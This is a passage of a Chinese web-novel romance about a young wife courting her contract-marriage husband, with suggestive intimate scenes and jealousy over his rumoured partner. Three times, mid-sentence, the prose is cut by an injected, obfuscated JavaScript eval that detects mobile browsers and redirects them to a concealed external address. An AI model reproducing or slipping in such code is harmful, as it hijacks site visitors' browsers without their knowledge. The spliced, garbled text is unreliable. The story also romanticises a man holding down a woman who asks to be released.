“我朋友和周老师都是京舞毕业的学生。她说周老师是那届跳舞最牛的,如果不是后来没走艺术路线,这会儿估计已经在竞争京舞团的首席了。你要是和我抢名额,那顶多算是公平竞争,” 说着,叶希荷看向周绾宁,“她要是来参与呢,那就是降维打击。” 徐婧也看向周绾宁,嘟囔:“怪不得穿什么都气质好。”想了想,她又问,“周绾宁,为什么你后来没继续跳啊?” 周绾宁愣了下,微微一笑:“生活所迫。” “可你开着保时捷911,身上就没有一件不是牌子货。怎么也不像缺钱的人啊。” 叶希荷一点也不信她口中的这个原因。 周绾宁不想跟她们说太多,只能随意找了个借口打哈哈过去。 等大家的注意力转移开后,她才看向自己身上的衣服和首饰,发现谢温言确实从外物上把她养得很好。 无论是穿的还是用的都是顶尖货,就连她日常吃的水果,也不便宜。 都说由奢入俭难。 等以后和谢温言离婚,想要一下子从他给的象牙塔般的生活里走出,好像不是一件容易的事。 * 回家后,周绾宁做的第一件事,就是将大伯母给自己的生腌海鲜,一一收进冰箱,妥帖地保存起来。 谢温言是半个小时后回来的。 他走到厨房,一边倒水喝,一边装作漫不经心地询问:“上午回你的消息,有看到吗?” “嗯。”点着头,周绾宁掰开一只酱螃蟹。 在看到里面满满的蟹黄时,她的眼里是藏不住的开心。 谢温言:“……” 很显然,周绾宁的注意力不在他的话上,也不在他这个人上。 他低头喝着柠檬水,眼眸里的不爽明显了三分。 早上,她将他给的果汁送给其他人也就算了,现在,他在她眼里甚至还不如一只螃蟹存在感足。 谢温言想忍,没忍下去。 他站直身体,决定就这件事和她好好谈谈。 这时,周绾宁开心地塞了块酱牛肉给他,还哄小孩似地“啊”了一声。 那一刻,饶是再生气,谢温言还是很配合地张嘴,乖乖咬住她分享给他的肉。 “这是周辞安拿给我的。” “我伯母做生腌和酱牛肉一绝。我想你可能吃不惯生腌的海鲜,就给你吃酱牛肉了。” 周绾宁在完全密封这些菜品前,又捞起一块牛肉,塞到谢温言的嘴前。 但这一次,她沾着卤汁的指尖被男人有意无意、或轻或重地咬了一口。 一阵酸酸麻麻的感觉顿时顺着周绾宁的右手,直达她的心脏,刺激着那儿快速跳动,以至于她都忘了可以把手抽回来。 偏偏,罪魁祸首像是压根没发现咬到她了。 他回正身体,抽出两张纸巾,帮她细致地擦拭掉手上的卤汁,一本正经地回复:“很好吃。” 他的目光落在她的手指上,给人一种错觉,他说的好吃,不是指牛肉,而是……她。 不管周绾宁承不承认,谢温言在撩她的这件事上,总是那么的恰如其分,不会过分让她觉得被冒犯,但又会撩到她的心尖上。 就在她抽回手,继续整理冰箱时,谢温言又问了一句: “所以,那张照片你觉得怎么样?如果喜欢,我让人洗出来挂到房间去。” “……什么照片?”周绾宁没太理解。 谢温言愣了下:“不是说看到我消息了?” 周绾宁仔细回想了下。 应该就是那句他错发给她的【换好了。】 见她一脸茫然的样子,谢温言也知道自己得不到什么评价。 “也没什么,我去书房处理点事情。”说着,他放下玻璃杯,转身要走。 周绾宁连忙伸手,掌心擦过他冷硬的表盘,最终紧握住他的手背:“谢温言。” 男人的目光往回移,有一瞬的被哄好。 但谁知,周绾宁的下一句话却是:“温鄞他还好吧,我在想明天要不要过去看看他,但我一个人过去不太好意思,你能不能……” 谢温言也是没脾气了,干脆拿出谢温鄞委托给自己的承诺书,推到周绾宁面前:“签了它。” “嗯?”周绾宁拿起那张字条,看着上面七歪八扭的文字,还有时不时冒出的拼音,一看就是谢温鄞的手笔。 后来看明白上面的话,发现还真是。 “小朋友怕你被他同学抢走去做小舅妈,特意让我拿这张承诺书向你要个保证。” 想到什么,谢温言追加一句,“他想要你用小花的章盖。” 周绾宁点点头,把纸条仔细收起来,想等回了楼上找出章,再让谢温言帮自己带给谢温鄞,或者明天他们可以一起过去。 “没什么事,我就先去书房了。” 谢温言从不觉得自己是拖拉、扭捏的性格,但今天面对周绾宁,他就像是摇尾乞怜的狗,追着要她伸手抚摸。 他不再等她发话,转身去了隔壁书房。 周绾宁则留在原地叹了口气。 总觉得那天睡了以后,谢温言对她的态度就冷淡了许多。 可能是回味过来他刚回国的那几天,她确实在冷着他? 但…… 被他独自留在京城,面对他三姑六婆的慰问,还要对外维持他们之间感情很好的假象,她有点情绪,应该也是很正常的事吧。 想着,周绾宁把自己近期的遭遇和困惑,还有她想追谢温言的想法,一五一十地告诉了明潇,想让她帮忙出个主意。 明潇:【哇哦,我的小公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338659|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主,你终于想通了!】 【我就说嘛,你们男才女貌的,本来就很般配,怎么可能对彼此一点想法都没有呢。】 【你想怎么追他?】 似乎是觉得不够明确,明潇又补充到:【或者说,你为了追他,能牺牲到什么地步?】 【你知道我的。遇到需要完成的事,要么选择不做,做了就会争取做到最好。所以追谢温言,我也是想尽量追到。】 周绾宁低着头默默回消息,无视了出来倒水的谢温言,一路迈着步伐往楼上走。 谢温言:“……” 他笑了笑,差点把手里的杯子捏碎。 原来,就连手机都比他好玩是吗? 周绾宁回到房间后,给明潇一个准确的答复:【我怎么牺牲都可以的。】 明潇想,这应该是周绾宁给出的最大诚意了,那么她这个军师也要迎难而上。 【你们已经不是小孩子了,就不需要再用送礼物的方式追了。】 【让你做其他的事情,好像也不太现实。除非……】 看到这些个回复,周绾宁的心都凉了半截。 这时,明潇又发来一句:【我的好闺闺,有你这样的颜值和身材,我感觉色丿诱是最快的捷径了。】 周绾宁:“……” 明潇:【上次我送你的bra派上用场了没?】 【没。】 明潇发来一个小人怒掐另一个小人的表情包。 周绾宁解释:【那时候,我对他还没有这个心思,甚至已经接受了三个月后和他离婚这件事。所以一直躲着他。】 【那现在为什么又有了?】 周绾宁抿了抿唇,发过去:【大概是从他身上看到了我向往的东西,想试试看,能不能拥有。】也想下决心有个了断。 【这样吧。姐又新买了几条,前两天刚洗完晒过,现在就叫同城跑腿给你拿过去。今晚你就上了他,别浪费我的一番苦心!记住!睡他!诱惑他!让他对你欲罢不能!】 周绾宁纠结地啃了啃手指:【这样,会不会不太好?】 【你又不是没跟他做过。以前和他做的时候,怎么不会觉得不太好?】 【以前是他想要,现在是我想要他。我有点不太好意思。】 【哟呵,你竟然会不好意思?】 明潇像是看见了什么笑话,【那是你老公,你就算把他强上了,那也是家务事!放心大胆地上吧。】 周绾宁放下手机,坐在床上,仔细考虑了下明潇说的方法的可行性。 发现确实可以试试。 也不一定今天真的要睡了谢温言,而是可以试探一下他对她到底是个什么态度,方便她思考接下来该怎么应对——是迎难而上,还是及时撤退。 周绾宁决定先这么办。 她洗过澡,披上浴巾,下楼用餐。 果不其然,谢温言以工作忙为由,让桐姨带她先吃。 周绾宁默不作声吃完晚餐后,拿上给已经敲过小花印章的承诺书,敲响了谢温言的书房。 门前,她的心情是紧张的。 甚至再三嗅了嗅身上的沐浴乳,确定是以往两个人做的时候,谢温言一直扒着她的脖子要闻的香味,才有些安心。 没想到对谢温言起了不该有的心思后,她竟然会有一种做贼心虚的感觉。 不过也确实。 怎么会不心虚呢。 以前她从未图过谢温言什么。 而现在,她竟然为了试探他、追求他,图起了他的身子…… “进来吧。” 里头传来男人低沉的应允。 周绾宁深吸一口气,按下门把手,循声入内。 11. 渴望 谢温言没想到进来的人会是她。 他伸手做了噤声的手势,又指了指一旁的沙发,示意她去那儿等一等。 周绾宁见他在视频会议,就算来之前想直接对他霸王强挽弓,现在也有些偃旗息鼓。她乖乖坐在沙发上等他结束会议。 之前的他们,没有过工作上的接触,所以周绾宁很少见到谢温言在公司的那一面。 想来,那应该是认真、严厉、肃冷的谢温言。 这时,书桌后,男人低沉中略带威严的话音传来—— “教育和文化产业出现这么大的贪污腐败案,孙子琦作为教育部总经理,罪责难逃,直接启动内部调查吧,然后将结果上报给公安。” 电脑那端传来回应:“总裁,可是孙总是董事长夫人的亲弟弟……” “孙总,你的意思是,董事长夫人说话好使,我说的话就不好使,是吗?” 视频会议对面的人当即诚惶诚恐,说着马上去办。 谢温言依旧对着教育部门的疏漏进行着批评,别说电脑里,就是现在的书房里,也是一片鸦雀无声。 面对此情此景,周绾宁深觉自己挑错了时机。 原来谢温言是真的忙,不是借口。 结婚两年了,她还不是很完全地了解他,甚至也没见过他像现在这样生气的模样…… 此刻,周绾宁不免有些紧张和焦虑。 而这一情绪直接导致她觉得自己的小腹有点儿疼。 她觉得自己该找个借口离开,但看着浴袍里自己花了个把小时准备的战斗套装,有那么点儿不甘心。 不多时,谢温言关上电脑,出声问:“找我什么事?” 他的声音还没从责骂下属中抽离出来,仍淬着冰霜。 周绾宁犹豫一番,鼓起勇气走向他,先把自己盖好章的承诺书推到他面前:“这个,我已经盖过章了。”然后快速补了句话,“其他也没什么事……我看你还要忙,就先上楼了。” 最终,她还是不敢轻易越过雷池,慌忙地想要逃离。 但谢温言突然伸手拽住她,只轻轻一拉,就将她拉回了他的怀里。 不等周绾宁挣扎,男人突然低头凑到她的颈窝处轻轻嗅着,像是上了瘾,片刻后,才哑声问:“你找我,只是为了送这个?” “嗯……嗯!” 就在她应声的下一秒,谢温言忽然轻吻上她的脖颈,湿热的黏腻,足以让人麻了半个身躯。 周绾宁忍不住地低咛,伸手搭住男人箍在自己腰上的手,想要掰开却掰不动。 一双赭色的瞳孔里不免染上吓到后的发懵。 随着谢温言吻上她耳畔,她感觉自己的足尖都忍不住绷紧了,连忙出声制止:“谢温言!” 谢温言笑了一声。 他用大掌包住她的细腰,做出完全禁锢的状态,随后身姿微微后仰,就这么靠在老板椅上,眼眸微垂,里面森冷的视线,带着上位者的审视。 周绾宁转头看他,却又不敢与他对视。 目光向下躲避时,她看见他白皙的脖颈上喉结滚动着,下方解了两颗的白色衬衫,露出来十分引人遐想的部分,勾得人想要窥视更多。 现在不勾引他……还想等到什么时候? 周绾宁仔细一思考,侧过身就这么凑了过去。 她想要吻他的唇,但因为是坐在他腿上,所以她的唇离他的下巴有点远,而他又是仰着头,最后她只能落吻在他的喉结上。 心跳鼓动的声音,在这一刻放大无数倍。 同时,周绾宁隐约听到身下谢温言的呼吸,变得有点儿重。 见他没拒绝,那双禁锢着自己腰身的手还松了些,周绾宁大着胆子,一点点顺着他的脖颈吻到了他的下巴。 直到他突然低下头,与她撞上双唇的同时,也撞上了视线。 “周绾宁,你在干什么?” 他沉着眼眸,满含不解,只是再次握紧了她的腰身,像是预判到她会逃离。 周绾宁见逃脱不了,下意识想将“在追你”三个字脱口而出,但到了嘴前,变成了:“讨好你。” 谢温言挑眉:“原因?” “可能是因为……这两天你对我很冷漠。” 难得被贼喊捉贼,谢温言双手抱胸,笑着看她:“比如?” 周绾宁想举例,发现举例不出来,因为本来就是借口罢了。 但既然表达了委屈,就要言之凿凿的:“感觉那晚睡了后,你就对我很冷淡。” “那好,我们谈谈。” 周绾宁不知道他要谈什么,有点儿心虚地点头。 她发现这种时候,幼师训人的经验,根本派不上用场。 平时,自己对孩子都凶不起来,更何况面对的人还是手底下有几百号员工的谢温言。 论气势,是他训她还差不多…… “首先,我没有冷落你,反倒是你……”谢温言话语一滞,转而严肃着继续说道,“其次,周绾宁,我需要的是夫人,不是仆人。” 周绾宁面露茫然,有些对他的话似懂非懂。 谢温言解释:“我不需要你讨好我。我们是平等的,只有下位者才会用讨好两字。” 下位者…… 周绾宁虽然很不想承认,但在她和谢温言之间,她天然就是个下位者。 当初他像是神明一样出现在她前两年近乎贫瘠的生命里,救她出困境,也是他给了她一段为期两年的婚姻,让她在茫然的时候,有个暂时的依靠。 但他给她的东西,就像是上帝曾给过她的美好家庭,是随时可以被收回的。 就连这段婚姻也是。 他一开口,她就算不想离婚也没办法。 她和谢温言之间怎么可能平等呢? 她不想继续这个沉重的话题,故作轻松地圈住他的脖颈:“那你就当……我是在勾引你。” 谢温言一愣,显然没想到话题会往另一个方向转变。 他沉默了一会儿,随后带着不确定的疑惑开口:“勾引?所以你刚刚是在勾引我?” “嗯……”周绾宁煞有其事。 谢温言笑了,片刻后,眼神玩味又撩人:“绾宁,勾人不是你刚刚那样的做法。” 周绾宁愣了下,还没说话,突然,谢温言将她整个托起摁在办公桌上。 这个体式如果是一般人,可能会受不了。 但周绾宁练了二十多年的舞蹈,腰肢软到再是高难度的动作,也不怕。 谢温言单手撑在她的脑袋旁,另一只则捞起她的腿架到他的腰上,他就这么居高临下地看着她,深邃的眼眸里带着毫不掩饰的慾望。 一切就好像是回到了两个人最热衷于做那件事的时期。 有时候他只是朝她走来,都带着让人腿软的倾袭感,像是要将她吃拆入腹。 “谢温言……” 她伸手勾住他的肩膀,竭力稳住自己的核心。 谢温言顺势撩开她的浴袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15338660|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将她的肩膀与空气中的微凉接触。 接着,他低下头。 灼热的气息喷洒在她的肌肤上,要亲不亲的,声音喑哑:“安静地感受我。” 周绾宁愣了下,一开始还不明白他的话,但随着感受到他在用那处用力地对自己碾磨,才意识到自己对他的蛊诱,不过就是小儿科,而他才是高手。 果然,谢温言做什么都很优秀,包括诱引她…… 而他一旦对她展现诱引的功力,她根本就不是他的对手。 她有些紧张,而一紧张所表现出来的,就是下腹的坠疼开始愈发明显。 忽的,周绾宁显然迷离的眼睛骤然大睁。 她意识到了小腹的疼是因为什么!!! 几乎是用了吃奶的劲,她将身上的男人一把推开,随后风风火火跑去离自己最近的厕所。 在一番查看后,发现果然—— 是她的例假来了。 不久,门外响起谢温言低沉的询问:“绾宁,怎么了?” 周绾宁四下查看着这间厕所,发现这里并没有卫生巾的存在。 她支支吾吾有些不太好意思说。 直到后来谢温言再三敲门询问,她才羞臊地托盘而出。 “谢温言,我……例假来了。” “这里没有我要的东西。你能不能叫桐姨帮我拿一条新的内裤和卫生巾?” 外面静了静,他温声道:“好,我去帮你拿。” 大概五分钟后,卫生间的门打开,白皙的手递进来一条粉粉嫩嫩的内裤和一张卫生巾。 周绾宁红着脸接过,快速收拾好自己。 虽然两人已经坦诚相见过不少次,但这种夫妻间经常顺手做的事,很少在他们之间发生。 这比她在床上看着他陷入沉迷时,还要羞赧上几分。 她洗干净手,走出卫生间。 谢温言不曾离开,站在门口等她出来。 周绾宁面色不自然地抿抿唇,有些像是做错事的小孩。 明明是来勾引他的,结果一切戛然而止于她的例假,说真的,还挺对不起谢温言的。 特别是他那儿…… 周绾宁垂眸看向他还未歇下的大兄弟,刚刚它碾磨她的时候,可以明显感受到谢温言是情起的状态,他现在应该不太好受。 这时,谢温言走过来问她:“还好吗?” 周绾宁点点头:“除了小腹有点儿疼,其他都还好。” 谢温言从一旁的沙发上拿来披肩给她仔仔细细地披上,温声叮嘱:“既然来大姨妈了,就不要让自己再着凉,也不要太累。我收拾下东西就去吃饭。你先回房间吧,今晚我回房睡。” 见他下了逐客令,周绾宁也不想在这种尴尬的氛围里停留。 她点头,快速溜出书房,准备上楼休息。 但就在她快要踏上楼梯时,才发现自己的手机遗落在了书房的沙发上,于是她叹了口气,返回去。 那时,书房里已经没有谢温言的身影了。 周绾宁快速捞起手机打算离开,这时,不远处的卫生间里传来细微的动静。 是独属于男性极其隐忍但又性感的低哼。 周绾宁愣了愣,过去将手放在推门上,想要询问谢温言是不是遇到了什么事,需不需要她的帮忙,却听见里面一声声喘丿息与低吟在逐渐加重加快。 “绾宁……” 他在喊她。 像是比什么时候都渴望她。 12.离婚 周绾宁还记得,两人刚领证的时候,有一段时间相敬如宾到就算是睡一张床,中间也隔着大半的距离。 谢温言很尊重她,说她不愿意之前,他们不会发生任何越过暧昧的事情。 直到领完证的第二个月,她撞见谢温言在浴室里自己解决。 最后,她犹豫再三,推开了那扇人影幢幢的浴室门。 明亮的浴室光,将谢温言那白皙挺括的身躯,完全暴露在自己的眼前。 那时候,她才意识到自己未来两年的老公,俊秀非凡、躯体诱人。 他见她闯进来,后退双手抱胸靠在洗漱台上,语气平淡地提醒她越过了那条界。 她逼近他,伸手握住他卷起来的浴裙上。 只需要轻轻一扯,他的身体就对她没有任何秘密。 那次是她唯一一次在他神色上看到慌乱,但须臾之间,他缓和了神色,眼眸漆黑带着淡淡的疯狂。 他伸手握住她的,暗含警告:“再不出去,我不保证你还能好好的。” 周绾宁之前是绝对不敢逾矩的,但那次他帮了周家很大的忙。 伯父说,他能收回她父亲丢失的大部分周家产业,都是谢温言帮的忙。 她想,自己没什么好报答谢温言的,最好的报答就是这两年做好他的妻子,所以今天她过来了。 她挨近他,没有直接踮起脚尖想要吻上他俯下来的唇,只是他太高了,纵使她踮起脚尖还尚且有些亲不到。 谢温言伸手握住她的腰身,灼热的气息洋洋洒洒落在她的唇间:“想好了?” 这三个字指的是什么,周绾宁很清楚。 那时候她没有回答,而是勾住他的脖颈,让他的头低下。 双唇触碰的瞬间,注定一夜无眠。 第一夜,谢温言让她感受到了无尽的温柔,可再后来……温柔开始变质,变得强制又蛮横。那些每个被他用力疼爱的夜,都会让她陷入一些误会里。 误会他有那么一丁点喜欢她。 但后来她才明白,做是做,爱是爱,两者根本不是一回事。 周绾宁看着眼前紧闭的浴室门,这一次没选择推开,而是转身走远。 不过因为“撩后不负责”这件事,周绾宁一直到第二天下班时,还有点儿愧疚和难安。 她决定做点什么补偿谢温言。 趁着课间闲暇,她拿出手机给林星禾发了条消息,向她的花店订了束玫瑰花,还有花束要送达的地址。 接下来六天她都没办法对他色丿诱了,那么送花多少算是一种追求方式。 林星禾:【每天送21朵玫瑰花给甲方,你这丫头追个人整得还挺浪漫呀。】 【要不要写什么话替你转交?我这新到了好多好看的贺卡,很漂亮的。】 周绾宁想了想,发过去:【不用了,他应该能明白。】 应该……能明白的吧? 玫瑰花表达的是爱意。 虽然她对他还称不上是爱,顶多算是有好感,但每一段感情的最初,不都是从好感开始的吗? 林星禾没再多问,大约在半个小时后,她发来一束用白色包装与米色蕾丝布料一起包裹,还配上酒红色丝带的21朵玫瑰花花束。 很特别,很精致。 林星禾:【已经叫跑腿送过去了,姐妹的爱情由我来守护!】 周绾宁回了个谢谢,打开和谢温言的对话框,刚编辑了一条:很快你就会收到一份…… 字还没打完,办公室门被人突然敲响。 她吓得慌忙看去,发现是周辞安后,松了口气。 现下办公室已经没有其他老师了,所以周绾宁很是熟络地起身走过去,把早上谢温言给她的果汁递给他。 周辞安一手接过,另一手递出舞蹈室的钥匙:“呐,你要的。” 周绾宁伸手接过,眼露欣喜。 但周辞安很是不解:“这样看来,姐夫也太不心疼你了。梧桐湾那么大,竟然连一间舞蹈室都舍不得收拾出来。还要你以后跑大老远来幼儿园练舞?” 昨晚他收到周绾宁的请求时,就很不解但没多问。 周绾宁愣了下,仰起脸装作若无其事的模样:“其实我也不打算告诉谢温言,我想重拾跳舞的这件事。” 谢家不太喜欢她抛头露面。 而谢温言在这点上的的态度,和谢家人大抵是完全一致的,所以这件事暂时还是不要让他知道了。 周辞安并不清楚他们夫妻俩的关系究竟如何,只当她是另有安排。 “你准备练什么剧目?” 周绾宁微微一笑,摆出神秘兮兮的模样:“这是秘密~等练完,再给你们看。” 周辞安笑了笑,伸手宠溺地揉揉堂姐的脑袋:“好,期待我们的周首席重回舞台大放异彩。” 周绾宁“啧”了一声,摆出姐姐的威严:“不许没大没小。” 周辞安笑了笑,他也不久留,说自己还有事,叮嘱她早点回家。 周绾宁点点头,目送他离开后,收拾好自己的东西,出发前往幼儿园旁边的菜市场。 原本下班后是要去看望谢温鄞的,但孙晗莉怕谢温鄞待在京市这正好花开的季节会再次哮喘发作,直接将人送去了冰岛躲春。 所以今晚闲暇无事,她决定除了送花以外,还要亲自下厨,给谢温言好好露一手。 但当她拎着大包小包的菜回家时,差点吓到正准备出门买菜的桐姨。 “夫人,您这是?” “桐姨,今晚我给你放假。我想亲自下厨做顿烛光晚餐给谢温言吃。” 桐姨顿时理解小两口今晚是要搞些情调。 于是她暧昧一笑,点点头:“好,桐姨这就回去,把梧桐湾留给你们小两口。” 本也是没什么,但听到桐姨的笑容时,周绾宁的小脸忍不住泛起绯红。 她快速对桐姨挥手再见,随后跑去厨房,清洗今晚要烹饪的食材。 周绾宁很少下厨房,也没尝过自己做的菜,只觉得按照食谱烹饪,再怎么也不会很难吃。 将近三个小时,她完成了一大桌子的菜,当然手上也留下了不少的伤口。 有被海鲜刺伤,有被热油烫到,还有个小刀割开的口子。 桐姨不在,她只能自行治疗。 可是日头已经落下,一向准时回家办公的男人并没有回来。 周绾宁这才想起来,该给他发个消息。 于是她打开微信,删掉自己没来得及给谢温言发过去的字句,询问他:【谢温言,你什么时候回家?】 发完,她又对着一桌子的菜进行拍照,想勾他快点回来。 但还没摁下快门,上方显示了谢温言的回复:【今晚有应酬,晚餐你和桐姨吃吧,明天带你去旋转餐厅吃饭。】 周绾宁手指停在屏幕上,她默默地取消了拍摄,看着两个人的聊天框沉默许久。 最后,她发现自己和谢温言的交流,确实很少。 以至于今晚他不回家吃饭这件事,她都那么晚才知道。 半晌后,谢温言询问:【绾宁?】 【那你好好应酬,我在家等你回来。】 【今晚我回家可能要晚点,不用等我。注意保暖别着凉,肚子疼了用暖宝宝。我叫桐姨把暖宝宝都收到了你的床头柜里。】 丈夫的贴心,他果然演绎得很好。 可现在的周绾宁并不想要这个,她想要谢温言的真实,真实的爱也好,真实的不爱也好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15340794|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但心中的千言万语,最后只形成一个字:【好。】 她放下手机,背对那一桌逐渐泛凉的菜,默默坐在沙发上,打开电视看了起来。 一切仿佛回到了周家落败后,她独自一人守着晚餐等家人归来的样子。 只不过以前或是一碗汤面,或是一道炒饭,没有今天那么丰盛的时候。 她搬进梧桐湾后,对谢温言表达过自己不想一个人吃饭的诉求。 但谢温言因为经常忙于工作又或是出差,不经常回家吃饭,所以他会让桐姨陪她一起用餐。 而只要不忙,就是他陪着她吃。 但今天…… 周绾宁抱住自己的双膝,无聊地看起了电视新闻。 刚转到财经频道,那个说不回来吃饭的人出现在了新闻播报里。 电视上主持人的声音慷慨激昂:“近日,当红舞蹈家沐黎全国巡演最后一站,将在京市举办,据传此次回京,她还将与盛坤集团教育部签下为期两年的合约,成为盛坤教育的代言人。昔日京市的金童玉女,将在今晚齐聚京市国际剧院舞台。” 周绾宁记得,她家是在她初中时,带着大部分产业迁徙到京市的。 那时,她一门心思都在舞蹈上,不太与京圈的人打交道,所以对于“京市金童玉女cp”,几乎是从未听闻。 现在新闻上出现这一用词,她受到了不小的震撼。 原来不止孙晗莉、谢家人,就连京市的媒体都认为他们本该是一对。 这时,电视新闻又播报了谢温言在盛坤雷厉风行扫掉一些贪污高管的事情,主播对他赞不绝口。 周绾宁拿起手机,让电视成为背景音,专注刷起了网络社交账号。 却发现此刻微博的热搜,竟然也是谢温言……和沐黎的各种消息。 词条下的实时和热门,主要是沐黎演出的照片,还有一些谢温言和沐黎的合照。 周绾宁想要退出,但意外被几条评论吸引了目光—— 「啊啊啊谢温言就该和女神沐黎在一块!真是天造地设的一对!」 「他们就是最配的!首席舞蹈家X首席执行官,希望他们能在一起!」 「说不定就是在一起了呢?他们之间都没有否认过是一对!啊啊啊我们的双首席cp一定是真的!」 周绾宁咬咬唇,在评论框里输下一句话发上去:「可是他有老婆了,他老婆并不是沐黎。」 发完,她退出去,准备浏览其他热搜,不过片刻却发现自己收到了许多的回复,轻而易举高达到99+条。 周绾宁点开最新的评论,愣住。 「谢温言从没有公布过老婆,怎么就不可能是沐黎!看ip也是京市的,你该不会在妄想自己就是谢温言的老婆吧,少在这里发癫。」 「沐黎都决定不再接国外的巡演了,说是要好好陪家人和恋人。她的朋友圈除了谢温言就没有别的异性朋友了!他们不是一对,难道谢温言和你是一对?」 「除了沐黎谁还配得上谢温言啊我请问!别来ky!就算谢温言有妻子,他们也迟早会离婚的。」 从没有经历过网络骂战的周绾宁愣在原地,手指都在颤抖。 她看着最后那条评论,鼓着两腮,坚定地回复:「谢温言会和他的妻子和和美美,不会离婚!」 随后,她无视微博的信息,查看起了最新刷到的一条视频。 镜头先是对准台上将古典舞跳得行云流水的沐黎,后又对准鼓掌微笑、眼眸含星的谢温言,就好像他在千万人间,眼中只有一个沐黎一样。 确实…… 男才女貌,很是般配。 周绾宁深吸一口气来舒缓泛酸且烦乱的心脏,她默默关掉电视,捧着书看了起来。 13.玫瑰 等待是一件很辛苦的事。 哪怕谢温言告诉她不需要等他,但周绾宁知道自己执拗,想等的人、想等的事、想等的一个回答,多晚都要等到。 不过与谢温言的这场婚姻里,她好像一直都是等待的那个人。 等他从国外回来,等他提出离婚,又或是等他对她产生出一些渺茫的爱意,扭转现在的局面。 周绾宁孤寂地看向墙上的钟表,已经是8点了。 谢温言…… 应该是真的不回来吃了。 她默默地合上书,拿着手机上楼。 就在她踏上第一级台阶时,身后的大门忽然被人打开。 她茫然回头望去,只见一抹挺括颀长的身影踏着风雪步入客厅。 一开始,周绾宁还有些没回过神来,直到男人走到她面前,她才稍微有点真实感—— 谢温言真的回来了。 他身上还笼着一层寒夜的清冷气息,让她在他走近后,忍不住打了个冷颤。 “不是让你先回房间休息吗?” 谢温言从脖颈间取下围巾,走到她面前想为衣着单薄的她披上。 想到三个小时前,她还在为他舌战群儒,而他在舞台下看着前联姻对象的舞蹈表演鼓掌叫好,周绾宁下意识伸手婉拒他的好意,准备上楼睡觉。 而谢温言感受到了她的抗拒,眸色肉眼可见地变了变,俊秀的脸也沉下三分。 他将围巾下落到她的腰间,轻轻一勾,迫使她身形不稳从台阶上坠进他的怀里。随后他顺势拦腰一抱,就叫她再也无法挣脱。 “你……” “跑什么?” 谢温言居高临下地看着被他完全包裹住的人,眼眸里的温柔开始褪去,反而带着渐而浓郁的倾袭感。 周绾宁侧过头,避过他的这番审视,也不想跟他说话,只想保持安安静静的,像以前那样无论如何都对他不展现任何脾气。 谢温言眼眸沉下,直接将她像是抱小孩那样抱起,放到了一旁的吧台上,随即身躯挤入她的□□控制住她,不让她下来、也不让她离开。 这一刻,周绾宁的脸上才出现些许急色。 她使劲挣扎,却怎么也挣脱不了,最后气急败坏地喊着:“谢温言!” 男人微微挑了挑眉:“倒是少见你对我这样疾言厉色的模样,果然,兔子急了也有三分脾气。” 周绾宁不想搭理他,只重申着,“放我下去。我要回房间休息了,明天还要上班。” 也是直到这一刻,她才意识到眼前的男人坏透了。 他没有给她走入他世界的机会,却能轻易拨动她的情绪。 很显然,她在感情这个战场上远远不是他的对手。 “明明等了我三个小时,我一回来就借口明天上班要回房早点休息。虽然借口很合理,但周绾宁……” 谢温言轻扯了下自己的领带,姿态慵懒,但眼眸里笑意浅浅的,很有斯文败类的倾向,“我现在要是把你放了,我就哄不好你了。” “谁、谁要你哄。我没有不开心。”周绾宁嘴硬着,手还在推他。 但下一秒,她的双手被他一手禁锢,而他另一手搂着她的腰,将她无限制地往他怀里压入,成功让她的双唇来到了他的唇齿前。 “谢温唔……”她的呼喊骤然停在他强势入侵的吻里。 周绾宁想躲,但有些躲不过,只能仰着头被迫承受属于男人的缠吻。 这一次,他比任何时候都要霸道、凶狠。 差点让她以为眼前的人不是谢温言。 渐渐的,他将吻由浅入深,几乎让她喘不过气来。 安谧的餐厅一隅,尽是唇齿黏腻纠缠的声音。 良久之后,热吻平息。 周绾宁无力地将下巴架在谢温言肩上,靠着他,让自己从热吻中平复呼吸。 这时,谢温言的胸腔传来他的声音:“抱歉,留你一个人在家吃饭。”说着,他看向后面一桌子的菜,“怎么想到要亲自下厨?” 周绾宁看着他目光里的好奇,心想,我是想要追你。但话到了嘴边,变成了:“心血来潮,想做顿饭试试。” 谢温言点点头,放开她,走到一旁的餐桌上坐下,拿起筷子,作势要吃。 周绾宁连忙出声阻止:“都已经凉了,还是别吃了吧。” “这是你为我做的第一顿餐,当然得吃。”说着,他夹起一块糖醋排骨吃了起来。 周绾宁虽然很想阻止,但看到他已经入口,一时间情绪复杂不已。 特别是平时对吃食很是讲究的谢温言,此刻吃起已经泛凉的菜,丝毫没有表现出难以下咽的表情,反而吃得很香,像是在品尝着什么美味佳肴。 她做了四菜一汤,他每份都吃了不少。 其中有一份,周绾宁尝过味道的,没那么好吃,但此刻,谢温言有些来者不拒,将它也吃下了大半。 